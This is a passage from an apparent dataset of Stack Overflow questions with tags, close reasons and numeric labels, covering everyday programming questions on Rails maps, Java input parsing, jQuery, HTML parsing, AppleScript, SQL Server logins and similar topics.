[1]: http://i.stack.imgur.com/k02jK.png | ruby-on-rails | gmaps4rails | bootstrap | null | null | null | open | Twitter Bootstrap and gmaps4rails
===
I have the following view code and it dynamically adjusts its size for mobile phone as well as the desktop. However the map doesn't change size. Is there a way to make it so that the map changes size dynamically to fit on the phone/tablet/desktop using bootstrap? (see below)
.row
.span6.offset3
.well
= gmaps4rails(@maps_json)
![enter image description here][1]
[1]: http://i.stack.imgur.com/k02jK.png | 0 |
7,111,769 | 08/18/2011 17:45:33 | 216,190 | 11/21/2009 19:13:45 | 358 | 2 | Input 5 integers using StringTokeniser | Below is the partial code.
import java.io.*;
import java.util.*;
public class inputting {
public static void main(String[] args) throws IOException {
// TODO Auto-generated method stub
int i,j;
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
System.out.println("enter numbers??");
String str = br.readLine();
StringTokenizer tokenizer = new StringTokenizer(str);
j=Integer.parseInt(tokenizer);
}
}
Now i dont know where would stringtokenizer go and whether what i have done till now is correct or not. But basically i want user to ask for 5 integers and then let say just print it.
How do i take the integers out of the strings. If someone could complete the code for me, i would really appreciate.
P.S. This is not a homework question, i am learning object oriented programming and not java.So our professor dint care enough to teach us the syntax of java completely.
| java | user-input | null | null | null | null | open | Input 5 integers using StringTokeniser
===
Below is the partial code.
import java.io.*;
import java.util.*;
public class inputting {
public static void main(String[] args) throws IOException {
// TODO Auto-generated method stub
int i,j;
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
System.out.println("enter numbers??");
String str = br.readLine();
StringTokenizer tokenizer = new StringTokenizer(str);
j=Integer.parseInt(tokenizer);
}
}
Now i dont know where would stringtokenizer go and whether what i have done till now is correct or not. But basically i want user to ask for 5 integers and then let say just print it.
How do i take the integers out of the strings. If someone could complete the code for me, i would really appreciate.
P.S. This is not a homework question, i am learning object oriented programming and not java.So our professor dint care enough to teach us the syntax of java completely.
| 0 |
11,463,363 | 07/13/2012 02:31:40 | 1,364,915 | 04/30/2012 01:50:42 | 109 | 0 | JQuery div wrap | http://jsfiddle.net/TDmRv/
Okay, so what I am trying to do is type some input in and have it display with in a div- that works fine, but I want the div to wrap around it when I click input. So every time I click "add" the text gets wrapped into a div and is displayed. BUT I am also trying to make this appear multiple times, so every time I add input the div is wrapped around the text. Finally I am trying to have those two buttons placed into there, I assume those would have to be inserted when "add" is clicked with Jquery. I just need some guidance because I am struggling to comprehend how this will work.
<!DOCTYPE html>
<html>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js"></script>
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript">
$(document).ready(function(){
$("#edit").click(function(){
$("#theDiv").css("background-color","red");
});
});
$(document).ready(function(){
$("#delete").click(function(){
$("#theDiv").remove();
});
});
$(document).ready(function(){
$("#add").click(function(){
$('#edit').wrap('<div class="theDiv" />');
});
});
</script>
<style>
#theDiv {
border: 1px solid rgb(204, 204, 204);
margin: 5px 0pt;
padding: 5px;
background-color: blue;
height:50px;
}
button {
float:right;
}
</style>
</head>
<body>
<div id="hold">
<button id="edit">Edit</button><button id="delete">Delete</button>
</div>
<form>
<div><textarea class="textI" id="textI2" style="width: 400px; height: 50px;"></textarea></div>
<div><input type="button" id="add"value="add" onclick="theDiv_append()" /></div>
</form>
<script language="javascript">
$('.textI').each(function() {
var default_value = this.value;
$(this).focus(function() {
if(this.value == default_value) {
this.value = '';
}
});
});
function theDiv_append() {
$('#theDiv').append($('#textI2').val());
}
</script>
</body>
</html> | jquery | div | insert | wrap | null | null | open | JQuery div wrap
===
http://jsfiddle.net/TDmRv/
Okay, so what I am trying to do is type some input in and have it display with in a div- that works fine, but I want the div to wrap around it when I click input. So every time I click "add" the text gets wrapped into a div and is displayed. BUT I am also trying to make this appear multiple times, so every time I add input the div is wrapped around the text. Finally I am trying to have those two buttons placed into there, I assume those would have to be inserted when "add" is clicked with Jquery. I just need some guidance because I am struggling to comprehend how this will work.
<!DOCTYPE html>
<html>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js"></script>
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript">
$(document).ready(function(){
$("#edit").click(function(){
$("#theDiv").css("background-color","red");
});
});
$(document).ready(function(){
$("#delete").click(function(){
$("#theDiv").remove();
});
});
$(document).ready(function(){
$("#add").click(function(){
$('#edit').wrap('<div class="theDiv" />');
});
});
</script>
<style>
#theDiv {
border: 1px solid rgb(204, 204, 204);
margin: 5px 0pt;
padding: 5px;
background-color: blue;
height:50px;
}
button {
float:right;
}
</style>
</head>
<body>
<div id="hold">
<button id="edit">Edit</button><button id="delete">Delete</button>
</div>
<form>
<div><textarea class="textI" id="textI2" style="width: 400px; height: 50px;"></textarea></div>
<div><input type="button" id="add"value="add" onclick="theDiv_append()" /></div>
</form>
<script language="javascript">
$('.textI').each(function() {
var default_value = this.value;
$(this).focus(function() {
if(this.value == default_value) {
this.value = '';
}
});
});
function theDiv_append() {
$('#theDiv').append($('#textI2').val());
}
</script>
</body>
</html> | 0 |
10,120,124 | 04/12/2012 08:38:42 | 1,326,416 | 04/11/2012 11:22:38 | 1 | 0 | HTML Table Parsing | Hello I want to parse a table in the below format
<table>
<tr>
<td colspan="2" > </td>`enter code here`
</tr>
<tr>
<td colspan="2" align="left" style="font-size:14px; color:#000000;font-weight:bold; ">Product Information </td>
</tr>
<tr>
<td colspan="2" ><div style=" width:100%; height:1px; border-bottom-color:#C9A27E; border-bottom-width:1px;border-bottom-style:solid;"></div></td>
</tr>
<tr>
<td><strong>Date Format</strong></td>
<td><ul><li>Weekly</li><li>Monthly</li></ul></td>
</tr>
<tr>
<td><strong>Media Size</strong></td>
<td>210 mm x 276 mm</td>
</tr>
<tr>
<td><strong>Layout</strong></td>
<td><ul><li>1 Week per 2 Page</li><li>1 Month per 2 Page</li></ul></td>
</tr>
<tr>
<td><strong>Time Period</strong></td>
<td>1 Year</td>
</tr>
<tr>
<td><strong>Start Date</strong></td>
<td>January</td>
</tr>
<tr>
<td><strong>End Date</strong></td>
<td>December</td>
</tr>
<tr>
<td><strong>Calendar Type</strong></td>
<td>Julian</td>
</tr>
<tr>
<td><strong>Appointment Time</strong></td>
<td>8:00 AM to 5:45 PM - Quarter-hourly</td>
</tr>
<tr>
<td><strong>Features</strong></td>
<td><ul><li>Pocket</li><li>Business Card Holder</li><li>Zippered Closure</li><li>Notepad</li></ul></td>
</tr>
<tr>
<td><strong>Color</strong></td>
<td>Black</td>
</tr>
<tr>
<td><strong>Material</strong></td>
<td>Vinyl Cover</td>
</tr>
<tr>
<td colspan="2" > </td>
</tr>
<tr>
<td colspan="2" align="left" style="font-size:14px; color:#000000;font-weight:bold; ">Miscellaneous </td>
</tr>
<tr>
<td colspan="2" > <div style=" width:100%; height:1px; border-bottom-color:#C9A27E; border-bottom-width:1px;border-bottom-style:solid;"></div></td>
</tr>
<tr>
<td><strong>Recycled</strong></td>
<td>No</td>
</tr>
<tr>
<td><strong>Recycled Content</strong></td>
<td>0%</td>
</tr>
<tr>
<td><strong>Post-consumer-waste%</strong></td>
<td>0%</td>
</tr>
<tr>
<td><strong>Assembly Required</strong></td>
<td>No</td>
</tr>
</table>
I have trying different methods but can't get the <ul><li> data of the <td> in the <ul><li>
format. it returns the only values of the <ul><li> not with the HTML means <ul><li>test1</li></ul>
Thanks | html | php5 | parsing | null | null | 05/30/2012 20:05:32 | not a real question | HTML Table Parsing
===
Hello I want to parse a table in the below format
<table>
<tr>
<td colspan="2" > </td>`enter code here`
</tr>
<tr>
<td colspan="2" align="left" style="font-size:14px; color:#000000;font-weight:bold; ">Product Information </td>
</tr>
<tr>
<td colspan="2" ><div style=" width:100%; height:1px; border-bottom-color:#C9A27E; border-bottom-width:1px;border-bottom-style:solid;"></div></td>
</tr>
<tr>
<td><strong>Date Format</strong></td>
<td><ul><li>Weekly</li><li>Monthly</li></ul></td>
</tr>
<tr>
<td><strong>Media Size</strong></td>
<td>210 mm x 276 mm</td>
</tr>
<tr>
<td><strong>Layout</strong></td>
<td><ul><li>1 Week per 2 Page</li><li>1 Month per 2 Page</li></ul></td>
</tr>
<tr>
<td><strong>Time Period</strong></td>
<td>1 Year</td>
</tr>
<tr>
<td><strong>Start Date</strong></td>
<td>January</td>
</tr>
<tr>
<td><strong>End Date</strong></td>
<td>December</td>
</tr>
<tr>
<td><strong>Calendar Type</strong></td>
<td>Julian</td>
</tr>
<tr>
<td><strong>Appointment Time</strong></td>
<td>8:00 AM to 5:45 PM - Quarter-hourly</td>
</tr>
<tr>
<td><strong>Features</strong></td>
<td><ul><li>Pocket</li><li>Business Card Holder</li><li>Zippered Closure</li><li>Notepad</li></ul></td>
</tr>
<tr>
<td><strong>Color</strong></td>
<td>Black</td>
</tr>
<tr>
<td><strong>Material</strong></td>
<td>Vinyl Cover</td>
</tr>
<tr>
<td colspan="2" > </td>
</tr>
<tr>
<td colspan="2" align="left" style="font-size:14px; color:#000000;font-weight:bold; ">Miscellaneous </td>
</tr>
<tr>
<td colspan="2" > <div style=" width:100%; height:1px; border-bottom-color:#C9A27E; border-bottom-width:1px;border-bottom-style:solid;"></div></td>
</tr>
<tr>
<td><strong>Recycled</strong></td>
<td>No</td>
</tr>
<tr>
<td><strong>Recycled Content</strong></td>
<td>0%</td>
</tr>
<tr>
<td><strong>Post-consumer-waste%</strong></td>
<td>0%</td>
</tr>
<tr>
<td><strong>Assembly Required</strong></td>
<td>No</td>
</tr>
</table>
I have trying different methods but can't get the <ul><li> data of the <td> in the <ul><li>
format. it returns the only values of the <ul><li> not with the HTML means <ul><li>test1</li></ul>
Thanks | 1 |
8,463,210 | 12/11/2011 10:08:47 | 1,092,068 | 12/11/2011 09:10:56 | 1 | 0 | hide div while an element appear in browser | I have a web page with height more than 1000px. There is an important text which i need to display all time to visitor. I placed a 20px height DIV with fixed property at Top of the page but as the content of that DIV appears in browser available in Middle. I want to hide Top Div but as I scrolled up from Middle Div I want to show Top Div. | jquery | null | null | null | null | 12/11/2011 11:46:36 | not a real question | hide div while an element appear in browser
===
I have a web page with height more than 1000px. There is an important text which i need to display all time to visitor. I placed a 20px height DIV with fixed property at Top of the page but as the content of that DIV appears in browser available in Middle. I want to hide Top Div but as I scrolled up from Middle Div I want to show Top Div. | 1 |
8,127,230 | 11/14/2011 19:53:09 | 580,340 | 01/18/2011 17:54:06 | 1 | 0 | Attempting to access YaBB Forums | I'm working on an iPhone app for a friend and there are parts that are based on YaBB Forums. I've searched around to try to find some way to be able to login and post to the forum there. I was able to use the RSS and html parsing to be able to get info from his forum into the app, but I'd like to be able to allow people to post to a topic in the forum through the app.
Before anyone mentions it, I've seen TappaTalk and that's not the thing I'm looking for. The main site pulls from a .pl file and seems it uses that file to log in as well. Does anybody know how I would log into the forum using through the app by allowing a user to send login information, and then have that persist so a user can post to a topic in the forums.
I haven't found any classes or frameworks that interact with YaBB. | iphone | web-services | login | forums | pl | null | open | Attempting to access YaBB Forums
===
I'm working on an iPhone app for a friend and there are parts that are based on YaBB Forums. I've searched around to try to find some way to be able to login and post to the forum there. I was able to use the RSS and html parsing to be able to get info from his forum into the app, but I'd like to be able to allow people to post to a topic in the forum through the app.
Before anyone mentions it, I've seen TappaTalk and that's not the thing I'm looking for. The main site pulls from a .pl file and seems it uses that file to log in as well. Does anybody know how I would log into the forum using through the app by allowing a user to send login information, and then have that persist so a user can post to a topic in the forums.
I haven't found any classes or frameworks that interact with YaBB. | 0 |
4,185,092 | 11/15/2010 14:06:32 | 508,331 | 11/15/2010 14:01:35 | 1 | 0 | How to draw chart using WPF and IronPython | I'm a french beginner dev and I need to draw charts using WPF and IronPython. I'm coding with MVS2010 and I didn't find any help on Google.
Does anybody have an idea ? Something to help me ?
Thanks all,
Ben | wpf | charts | ironpython | null | null | null | open | How to draw chart using WPF and IronPython
===
I'm a french beginner dev and I need to draw charts using WPF and IronPython. I'm coding with MVS2010 and I didn't find any help on Google.
Does anybody have an idea ? Something to help me ?
Thanks all,
Ben | 0 |
9,991,169 | 04/03/2012 10:10:58 | 1,308,606 | 04/02/2012 17:12:53 | 1 | 0 | jQuery code duplication, how do I write it better and cleaner? | I'm having a problem with code duplication and when trying to write it cleaner it stops working, so I obviously get syntax errors. Please advise on the best ways of writing my duplication.
Thank You.
I know using classes rather than ID's as my selectors would help for starters, but the current code is written for 2 of the exact same forms on the same page. If I use classes rather than their ID's, the click functions would execute both forms rather than each form seperately.
<code>
(function($){
$('.accordionPanelContent, #edit-actions, #webform-component-section-3--inline').hide();
var $button1 = $('<button type="button" class="step-1 coda-nav-right">Find Courses Now</button>'),
$button2 = $('<button type="button" class="step-2">Next</button>'),
$button3 = $('<button type="button" class="step-1 coda-nav-right">Find Courses Now</button>'),
$button4 = $('<button type="button" class="step-2">Next</button>'),
$field1 = $('#webform-client-form-2 #webform-component-section-1'),
$field2 = $('#webform-client-form-2 #webform-component-section-2'),
$field3 = $('#webform-client-form-2 #webform-component-section-3'),
$field4 = $('#webform-client-form-2-1 #webform-component-section-1'),
$field5 = $('#webform-client-form-2-1 #webform-component-section-2'),
$field6 = $('#webform-client-form-2-1 #webform-component-section-3');
$field1.addClass('panel');
$field2.addClass('panel');
$field3.addClass('panel');
$field2.hide();
$field3.hide();
$field5.hide();
$field6.hide();
$button1.appendTo($field1);
$button3.appendTo($field4);
$button1.click(function(){
var $this = $(this);
$this.parent().hide();
$('.policy').hide();
$field2.show();
$button2.appendTo($field2);
$button2.click(function(){
var $this = $(this);
$this.parent().hide();
$field3.show();
$('#edit-actions').show();
$field2.append($button2);
});
$button3.click(function(){
var $this = $(this);
$this.parent().hide();
$('.policy').hide();
$field5.show();
$button4.appendTo($field5);
});
$button4.click(function(){
var $this = $(this);
$this.parent().hide();
$field6.show();
$('#webform-client-form-2-1 #edit-actions').show();
});
})(jQuery);
</code> | jquery | null | null | null | null | 04/04/2012 07:54:05 | too localized | jQuery code duplication, how do I write it better and cleaner?
===
I'm having a problem with code duplication and when trying to write it cleaner it stops working, so I obviously get syntax errors. Please advise on the best ways of writing my duplication.
Thank You.
I know using classes rather than ID's as my selectors would help for starters, but the current code is written for 2 of the exact same forms on the same page. If I use classes rather than their ID's, the click functions would execute both forms rather than each form seperately.
<code>
(function($){
$('.accordionPanelContent, #edit-actions, #webform-component-section-3--inline').hide();
var $button1 = $('<button type="button" class="step-1 coda-nav-right">Find Courses Now</button>'),
$button2 = $('<button type="button" class="step-2">Next</button>'),
$button3 = $('<button type="button" class="step-1 coda-nav-right">Find Courses Now</button>'),
$button4 = $('<button type="button" class="step-2">Next</button>'),
$field1 = $('#webform-client-form-2 #webform-component-section-1'),
$field2 = $('#webform-client-form-2 #webform-component-section-2'),
$field3 = $('#webform-client-form-2 #webform-component-section-3'),
$field4 = $('#webform-client-form-2-1 #webform-component-section-1'),
$field5 = $('#webform-client-form-2-1 #webform-component-section-2'),
$field6 = $('#webform-client-form-2-1 #webform-component-section-3');
$field1.addClass('panel');
$field2.addClass('panel');
$field3.addClass('panel');
$field2.hide();
$field3.hide();
$field5.hide();
$field6.hide();
$button1.appendTo($field1);
$button3.appendTo($field4);
$button1.click(function(){
var $this = $(this);
$this.parent().hide();
$('.policy').hide();
$field2.show();
$button2.appendTo($field2);
$button2.click(function(){
var $this = $(this);
$this.parent().hide();
$field3.show();
$('#edit-actions').show();
$field2.append($button2);
});
$button3.click(function(){
var $this = $(this);
$this.parent().hide();
$('.policy').hide();
$field5.show();
$button4.appendTo($field5);
});
$button4.click(function(){
var $this = $(this);
$this.parent().hide();
$field6.show();
$('#webform-client-form-2-1 #edit-actions').show();
});
})(jQuery);
</code> | 3 |
8,097,867 | 11/11/2011 17:42:52 | 263,170 | 02/01/2010 01:49:45 | 547 | 10 | ToggleActive<TEntity> - dynamically set TEntity | I have ToggleActive<TEntity> in C#, and, normally I can call it like ToggleActive<Person> where Person is a link 2 sql object in MyProject.Data namespace.
How can I do something like this: ToggleActive<"MyProject.Data.Person">? Is something like that possible? Do I use typeof somehow?
Thanks! | c# | reflection | null | null | null | null | open | ToggleActive<TEntity> - dynamically set TEntity
===
I have ToggleActive<TEntity> in C#, and, normally I can call it like ToggleActive<Person> where Person is a link 2 sql object in MyProject.Data namespace.
How can I do something like this: ToggleActive<"MyProject.Data.Person">? Is something like that possible? Do I use typeof somehow?
Thanks! | 0 |
10,461,843 | 05/05/2012 12:29:14 | 1,370,546 | 04/16/2012 17:28:26 | 145 | 1 | Regarding ternary operator | I have developed a below code in my application by the use of If conditional block ,
public boolean isDRLoayltyEnabled() {
String value = posParameterSupport.getStringParamValue(
IParameterConstants.WAG_REWARDS_DR_ENABLE, "false");
boolean enabled = Boolean.parseBoolean(value);
return (enabled);
}
Now my query is that if same thing I want to achieve with the help of ternary operator was it possible , please advise , as I don't want the repetitive use of If else statement | java | null | null | null | null | 05/05/2012 12:33:18 | not a real question | Regarding ternary operator
===
I have developed a below code in my application by the use of If conditional block ,
public boolean isDRLoayltyEnabled() {
String value = posParameterSupport.getStringParamValue(
IParameterConstants.WAG_REWARDS_DR_ENABLE, "false");
boolean enabled = Boolean.parseBoolean(value);
return (enabled);
}
Now my query is that if same thing I want to achieve with the help of ternary operator was it possible , please advise , as I don't want the repetitive use of If else statement | 1 |
6,410,538 | 06/20/2011 11:36:43 | 243,467 | 01/04/2010 20:54:13 | 6 | 0 | Jquery Draggable containment problem | Having problems with Draggable.
I'm using it on this site http://personallycorporate.com/dev/cards.php
I cant get it to take the top and left css values from the containment div not the window - i.e. i get left:400px instead of left:0px as its on the left side of the containment div.
Any help would be awesome!
| jquery | jquery-ui | user-interface | draggable | drag | 06/25/2011 11:08:40 | not a real question | Jquery Draggable containment problem
===
Having problems with Draggable.
I'm using it on this site http://personallycorporate.com/dev/cards.php
I cant get it to take the top and left css values from the containment div not the window - i.e. i get left:400px instead of left:0px as its on the left side of the containment div.
Any help would be awesome!
| 1 |
10,882,699 | 06/04/2012 14:06:29 | 908,681 | 08/24/2011 00:03:17 | 3 | 0 | Website keeps getting hacked, need few pointers | See screenshot(below), most recent attack. Anyone knows how they can hack my server and things to prevent this?
[hack 1 screenshot](http://img816.imageshack.us/img816/3918/screenshot1wj.png)!
[hack 2 screenshot](http://img443.imageshack.us/img443/2479/screenshot2ti.png)!
| security | hosting | web-security | chmod | anti-hacking | 06/05/2012 15:45:28 | off topic | Website keeps getting hacked, need few pointers
===
See screenshot(below), most recent attack. Anyone knows how they can hack my server and things to prevent this?
[hack 1 screenshot](http://img816.imageshack.us/img816/3918/screenshot1wj.png)!
[hack 2 screenshot](http://img443.imageshack.us/img443/2479/screenshot2ti.png)!
| 2 |
10,962,808 | 06/09/2012 16:55:26 | 1,446,435 | 06/09/2012 16:45:31 | 1 | 0 | Apple Script to extract cropped eps images and save new images in a separate folder | I am wondering if anyone has an AppleScript to extract cropped EPS files from an INDD CS5/CS6 document and save the cropped images into a new folder.
I have seen a lot of posts for CS3 and tried to adjust the AppleScript to work for me but cannot get the images to save.
I need them at 300 dpi, eps format, binary, JPG preview for MAC OS and saved in a new folder. I am familiar with AppleScript and would prefer help with that if possible
I am new to scripting which is why this is a little tougher for me. It is for a LARGE catalog I am working on with 1300 images I am hoping to automate so I don't have to crop by hand.
It would be a HUGE time saver and minimize human error I am sure. Any help would be greatly appreciate for myself and to share with my coworkers.
Thanks so much everyone! | image | applescript | indesign | eps | exporting | null | open | Apple Script to extract cropped eps images and save new images in a separate folder
===
I am wondering if anyone has an AppleScript to extract cropped EPS files from an INDD CS5/CS6 document and save the cropped images into a new folder.
I have seen a lot of posts for CS3 and tried to adjust the AppleScript to work for me but cannot get the images to save.
I need them at 300 dpi, eps format, binary, JPG preview for MAC OS and saved in a new folder. I am familiar with AppleScript and would prefer help with that if possible
I am new to scripting which is why this is a little tougher for me. It is for a LARGE catalog I am working on with 1300 images I am hoping to automate so I don't have to crop by hand.
It would be a HUGE time saver and minimize human error I am sure. Any help would be greatly appreciate for myself and to share with my coworkers.
Thanks so much everyone! | 0 |
9,419,401 | 02/23/2012 18:59:04 | 927,986 | 09/04/2011 21:16:26 | 3 | 0 | how to make slide animation? | css part
body
{
background-color:black;
padding:0;
margin:0;
overflow:hidden;
}
#accordion {
display:none;
position:absolute;
left:89%;
margin-top:400px;
width:174px;
height:150px;
list-style:none;
}
#logpop
{
display:none;
position:absolute;
left:91%;
margin-top:400px;
width:174px;
height:150px;
}
<!-- login -->
<div id="logpop">
<div class="logpop_box">
<div class="form">
<input class="input_box" name="email" type="text" placeholder="aaa"/><br/>
<input class="input_box" name="pass" type="password" placeholder="*****"/>
<br/>
<button id="btn1">Login</button>
</div>
</div>
</div>
<!-- accordian menu-->
<ul id="accordion">
<li>
<a href="#" class="item popular" rel="popular"></a>
<ul id="inchat" class="list_friends">
<li class="ch0"><img src="img/49992_720384020_1896998575_q.jpg" /></li>
<li class="ch1"><img src="img/48983_615523712_8495_q.jpg" /></li>
<li class="ch2"><img src="img/41621_717814907_4472_q.jpg" /></li>
</ul>
</li>
<li>
<a href="#" class="item category" rel="category"></a>
<ul id="inchannel">
<li class="icha0"><img src="img/41403_1434825607_37944358_q.jpg">Jae Jung</li>
<li class="icha1"><img src="img/48983_615523712_8495_q.jpg"></li>
<li class="icha2"><img src="img/41621_717814907_4472_q.jpg"></li>
</ul>
</li>
</ul>
<div id="video0" style="position:relative;width:100%;height:100%;z-index:-1;">
<center>
<video src="http://10.138.19.99:8080/video0.mp4" id="myvideo0" style="width:100%;height:100%" ></video>
</center>
</div>
there is video running in the background and I want to make login box slice from right out of screen to left and when user clicks on button it slides to right out of screen and accordion menu slide in right out of screen to left. I wonder css for login box and accordion has right position(positioning on right screen middle) and how to implement Jquery to make sliding animation effect. | jquery | css | null | null | null | null | open | how to make slide animation?
===
css part
body
{
background-color:black;
padding:0;
margin:0;
overflow:hidden;
}
#accordion {
display:none;
position:absolute;
left:89%;
margin-top:400px;
width:174px;
height:150px;
list-style:none;
}
#logpop
{
display:none;
position:absolute;
left:91%;
margin-top:400px;
width:174px;
height:150px;
}
<!-- login -->
<div id="logpop">
<div class="logpop_box">
<div class="form">
<input class="input_box" name="email" type="text" placeholder="aaa"/><br/>
<input class="input_box" name="pass" type="password" placeholder="*****"/>
<br/>
<button id="btn1">Login</button>
</div>
</div>
</div>
<!-- accordian menu-->
<ul id="accordion">
<li>
<a href="#" class="item popular" rel="popular"></a>
<ul id="inchat" class="list_friends">
<li class="ch0"><img src="img/49992_720384020_1896998575_q.jpg" /></li>
<li class="ch1"><img src="img/48983_615523712_8495_q.jpg" /></li>
<li class="ch2"><img src="img/41621_717814907_4472_q.jpg" /></li>
</ul>
</li>
<li>
<a href="#" class="item category" rel="category"></a>
<ul id="inchannel">
<li class="icha0"><img src="img/41403_1434825607_37944358_q.jpg">Jae Jung</li>
<li class="icha1"><img src="img/48983_615523712_8495_q.jpg"></li>
<li class="icha2"><img src="img/41621_717814907_4472_q.jpg"></li>
</ul>
</li>
</ul>
<div id="video0" style="position:relative;width:100%;height:100%;z-index:-1;">
<center>
<video src="http://10.138.19.99:8080/video0.mp4" id="myvideo0" style="width:100%;height:100%" ></video>
</center>
</div>
there is video running in the background and I want to make login box slice from right out of screen to left and when user clicks on button it slides to right out of screen and accordion menu slide in right out of screen to left. I wonder css for login box and accordion has right position(positioning on right screen middle) and how to implement Jquery to make sliding animation effect. | 0 |
444,988 | 01/14/2009 22:43:40 | 807 | 08/09/2008 03:37:54 | 38 | 5 | sync SQL Server 2005 login passwords | Background:<br/>
We are running a web application where each user has a login to the system. The application login is mapped to an actual SQL Server 2005 login (which we needed to create). Our development and disaster recovery sites are simply copies of this setup. On a nightly basis, the production database is backed up, the dump is archived, and we restore dev and DR using this file. When this is done, we need to run sp\_change\_users\_login for each user to remap the database user to the SQL login.
Problem:<br/>
When the user changes their password on production, the SQL login password is changed. This is not getting synced to dev/DR, so if they try to log on to one of those sites, they can't, and need to reset their password. Is there a [good] way to keep these SQL logins synced across multiple installs?
The next version of this product eliminates the SQL login need, but upgrading is not a current priority. | sql | sql-server | sql-server-2005 | null | null | null | open | sync SQL Server 2005 login passwords
===
Background:<br/>
We are running a web application where each user has a login to the system. The application login is mapped to an actual SQL Server 2005 login (which we needed to create). Our development and disaster recovery sites are simply copies of this setup. On a nightly basis, the production database is backed up, the dump is archived, and we restore dev and DR using this file. When this is done, we need to run sp\_change\_users\_login for each user to remap the database user to the SQL login.
Problem:<br/>
When the user changes their password on production, the SQL login password is changed. This is not getting synced to dev/DR, so if they try to log on to one of those sites, they can't, and need to reset their password. Is there a [good] way to keep these SQL logins synced across multiple installs?
The next version of this product eliminates the SQL login need, but upgrading is not a current priority. | 0 |
7,161,619 | 08/23/2011 13:18:23 | 337,307 | 05/10/2010 14:05:36 | 17 | 2 | tabbedPane selectionChangeListener not invoking method on tab selection | I am having some problems getting the method specified in selectionChangeListener invoked on tab change.
The loadingMode is default, ajaxLazy, which means it should be called the first time a tab is selected. The tabbedPane is wrapped in
The el expression looks like:
selectionChangeListener="#{pageController.tabSelected}"
The method signature of the method binding is:
@Component("pageController") // Using spring for bean management
@Scope("request)"
public class PageController {
public void tabSelected(SelectionChangeEvent e)
}
It is not throwing any exceptions so it is not even trying to resolve the method binding.
Any ideas? | openfaces | null | null | null | null | null | open | tabbedPane selectionChangeListener not invoking method on tab selection
===
I am having some problems getting the method specified in selectionChangeListener invoked on tab change.
The loadingMode is default, ajaxLazy, which means it should be called the first time a tab is selected. The tabbedPane is wrapped in
The el expression looks like:
selectionChangeListener="#{pageController.tabSelected}"
The method signature of the method binding is:
@Component("pageController") // Using spring for bean management
@Scope("request)"
public class PageController {
public void tabSelected(SelectionChangeEvent e)
}
It is not throwing any exceptions so it is not even trying to resolve the method binding.
Any ideas? | 0 |
7,006,349 | 08/10/2011 05:35:41 | 849,721 | 07/18/2011 09:29:06 | 11 | 0 | Call to undefined function dbase_open () in php | Call to undefined function dbase_open () in php... While executing in local server (Xampp) it executes fine.. But when i try to use in live project that is uploaded to website, in linux server it shows "call to undefined function dbase_open"...
Please tell what is the problem....
Thanks in advance | php | null | null | null | null | 08/10/2011 17:59:42 | off topic | Call to undefined function dbase_open () in php
===
Call to undefined function dbase_open () in php... While executing in local server (Xampp) it executes fine.. But when i try to use in live project that is uploaded to website, in linux server it shows "call to undefined function dbase_open"...
Please tell what is the problem....
Thanks in advance | 2 |
5,162,356 | 03/02/2011 01:14:25 | 397,524 | 05/24/2010 12:13:39 | 692 | 20 | What is the best way to maintain integrity between each database record referring to an file path of an image on a disk? | I have a database. One of the contained tables will be used to save the file paths of images on a disk.
The question is
**how to maintain the integrity between each record in the table and the corresponding image file on the disk?**
I want to avoid the possibilities
- a record with unavailable image file.
- an image with no record in the table.
| database-design | null | null | null | null | null | open | What is the best way to maintain integrity between each database record referring to an file path of an image on a disk?
===
I have a database. One of the contained tables will be used to save the file paths of images on a disk.
The question is
**how to maintain the integrity between each record in the table and the corresponding image file on the disk?**
I want to avoid the possibilities
- a record with unavailable image file.
- an image with no record in the table.
| 0 |
11,653,401 | 07/25/2012 15:35:16 | 1,528,451 | 07/16/2012 09:34:17 | 1 | 0 | Sleep command usage in linux | As a part of my academic project i have to execute a C program.I want to get the execution time of the program.For that i have to sleep all other processes in Linux for some seconds.Is there any method for doing this work?.('time' command in Linux is not working properly.It shows different execution time when i am executing the same program.So i am computing execution time by seeing the difference between start time and end time,if any suggestions please,please help me.).
------------------------------------strong text------------------------------------ | sleep | null | null | null | null | null | open | Sleep command usage in linux
===
As a part of my academic project i have to execute a C program.I want to get the execution time of the program.For that i have to sleep all other processes in Linux for some seconds.Is there any method for doing this work?.('time' command in Linux is not working properly.It shows different execution time when i am executing the same program.So i am computing execution time by seeing the difference between start time and end time,if any suggestions please,please help me.).
------------------------------------strong text------------------------------------ | 0 |
150,980 | 09/29/2008 22:17:58 | 1,690 | 08/18/2008 01:39:04 | 699 | 44 | Dependency Injection book recommendation(s) | It seems like there are very few books (yes, I read books) on Dependency Injection. The [Amazon tag](http://www.amazon.com/tag/dependency%20injection) for "dependency injection" lists only a few titles, and all of them are specifically about Spring for Java.
Are there any books out there that cover DI/IoC in general? Or any that include a survey of multiple DI frameworks? Or any that cover .NET in lieu of or in addition to Java?
Or do we have to rely on this newfangled interweb instead of dead trees... | c# | .net | java | inversion-of-control | dependency-injection | 09/17/2011 22:45:33 | not constructive | Dependency Injection book recommendation(s)
===
It seems like there are very few books (yes, I read books) on Dependency Injection. The [Amazon tag](http://www.amazon.com/tag/dependency%20injection) for "dependency injection" lists only a few titles, and all of them are specifically about Spring for Java.
Are there any books out there that cover DI/IoC in general? Or any that include a survey of multiple DI frameworks? Or any that cover .NET in lieu of or in addition to Java?
Or do we have to rely on this newfangled interweb instead of dead trees... | 4 |
10,369,884 | 04/29/2012 05:15:41 | 670,631 | 03/22/2011 05:29:01 | 54 | 1 | modifying a 5-stage pipelined miniMIPS | Can Someone help me with this question? Thanks!!
Bud Levile is considering modifying a 5-stage pipelined miniMIPS to add a “Branch on Memory Zero” (BMZ) instruction that fetches the contents of a main memory location and branches if the fetched value is zero. How many branch delay slots would follow a BMZ instruction?
A) 1
B) 2
C) 3
D) 4
E) 5 | computer-architecture | null | null | null | null | 04/30/2012 16:04:13 | not a real question | modifying a 5-stage pipelined miniMIPS
===
Can Someone help me with this question? Thanks!!
Bud Levile is considering modifying a 5-stage pipelined miniMIPS to add a “Branch on Memory Zero” (BMZ) instruction that fetches the contents of a main memory location and branches if the fetched value is zero. How many branch delay slots would follow a BMZ instruction?
A) 1
B) 2
C) 3
D) 4
E) 5 | 1 |
7,601,061 | 09/29/2011 17:27:57 | 956,868 | 09/21/2011 11:50:39 | 15 | 0 | Android turning clicks into touches | I have an on click listener:
